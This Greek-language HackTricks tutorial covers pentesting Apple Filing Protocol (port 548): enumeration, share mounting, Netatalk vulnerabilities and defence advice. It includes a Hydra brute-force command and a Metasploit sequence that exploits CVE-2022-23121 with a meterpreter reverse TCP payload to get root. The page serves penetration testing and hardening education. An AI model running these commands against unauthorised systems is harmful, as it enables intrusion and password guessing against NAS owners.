548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Το Apple Filing Protocol (AFP), γνωστό κάποτε ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην Apple File Service (AFS). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων τύπου POSIX και ACL, resource forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων.
Αν και το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να συναντάται σε:
- Κληρονομημένα περιβάλλοντα macOS / Mac OS 9
- Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν τον ανοιχτού κώδικα δαίμονα Netatalk
- Δίκτυα μικτής πλατφόρμας όπου το Time-Machine-over-AFP είναι ακόμα ενεργοποιημένο
Default TCP Port: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Γρήγορη πληροφορία για banner / διακομιστή
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Χρήσιμα σενάρια NSE για AFP:
Σενάριο | Τι κάνει |
---|---|
afp-ls | Λίστα διαθέσιμων όγκων και αρχείων AFP |
afp-brute | Επιθέσεις brute-force κωδικών πρόσβασης κατά της σύνδεσης AFP |
afp-serverinfo | Εξαγωγή ονόματος διακομιστή, τύπου μηχανής, έκδοσης AFP, υποστηριζόμενων UAMs, κ.λπ. |
afp-showmount | Λίστα κοινών πόρων μαζί με τα ACL τους |
afp-path-vuln | Ανίχνευση (και δυνατότητα εκμετάλλευσης) διαδρομής καταλόγου, CVE-2010-0533 |
Το σενάριο brute-force NSE μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος:
hydra -L users.txt -P passwords.txt afp://<IP>
Αλληλεπίδραση με κοινές χρήσεις
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (χρησιμοποιώντας afpfs-ng
‑ πακέτο σε πολλές διανομές)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Μόλις τοποθετηθεί, θυμηθείτε ότι οι κλασικοί πόροι Mac αποθηκεύονται ως κρυφά ._*
αρχεία AppleDouble – αυτά συχνά περιέχουν ενδιαφέροντα μεταδεδομένα που παραλείπουν τα εργαλεία DFIR.
Κοινές Ευπάθειες & Εκμετάλλευση
Αλυσίδα RCE χωρίς αυθεντικοποίηση Netatalk (2022)
Πολλοί προμηθευτές NAS παρέδωσαν Netatalk ≤3.1.12. Η έλλειψη ελέγχου ορίων στη parse_entries()
επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει έναν κακόβουλο AppleDouble επικεφαλίδα και να αποκτήσει απομακρυσμένο root πριν από την αυθεντικοποίηση (CVSS 9.8 – CVE-2022-23121). Μια πλήρης ανάλυση από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100 είναι διαθέσιμη.
Το Metasploit (>= 6.3) περιλαμβάνει το module exploit/linux/netatalk/parse_entries
το οποίο παραδίδει το payload μέσω DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Αν ο στόχος εκτελεί μια επηρεαζόμενη έκδοση firmware QNAP/Synology, η επιτυχής εκμετάλλευση αποφέρει ένα shell ως root.
Heap overflow OpenSession Netatalk (2018)
Οι παλαιότερες εκδόσεις Netatalk (3.0.0 - 3.1.11) είναι ευάλωτες σε μια εγγραφή εκτός ορίων στον χειριστή DSI OpenSession που επιτρέπει την εκτέλεση μη αυθεντικοποιημένου κώδικα (CVE-2018-1160). Μια λεπτομερής ανάλυση και PoC δημοσιεύθηκαν από την Tenable Research.
Άλλα αξιοσημείωτα ζητήματα
- CVE-2022-22995 – Ανακατεύθυνση symlink που οδηγεί σε αυθαίρετη εγγραφή αρχείου / RCE όταν είναι ενεργοποιημένο το AppleDouble v2 (3.1.0 - 3.1.17).
- CVE-2010-0533 – Διέλευση καταλόγου στο Apple Mac OS X 10.6 AFP (ανιχνεύθηκε από
afp-path-vuln.nse
). - Πολλαπλά σφάλματα ασφάλειας μνήμης διορθώθηκαν στο Netatalk 4.x (2024) – προτείνεται η αναβάθμιση αντί της επιδιόρθωσης μεμονωμένων CVEs.
Συστάσεις Άμυνας
- Απενεργοποιήστε το AFP εκτός αν είναι απολύτως απαραίτητο – χρησιμοποιήστε SMB3 ή NFS αντί αυτού.
- Αν το AFP πρέπει να παραμείνει, αναβαθμίστε το Netatalk σε ≥ 3.1.18 ή 4.x, ή εφαρμόστε firmware προμηθευτή που επιστρέφει τις επιδιορθώσεις του 2022/2023/2024.
- Επιβάλετε ισχυρούς UAMs (π.χ. DHX2), απενεργοποιήστε τις συνδέσεις σε καθαρό κείμενο και τις συνδέσεις επισκεπτών.
- Περιορίστε το TCP 548 σε αξιόπιστα υποδίκτυα και τυλίξτε το AFP μέσα σε ένα VPN όταν εκτίθεται απομακρυσμένα.
- Σαρώστε περιοδικά με
nmap -p 548 --script afp-*
σε CI/CD για να εντοπίσετε κακόβουλες / υποβαθμισμένες συσκευές.
Brute-Force
Αναφορές
- Netatalk Security Advisory CVE-2022-23121 – "Αυθαίρετη εκτέλεση κώδικα στο parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Εκμετάλλευση ενός σφάλματος 18 ετών (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.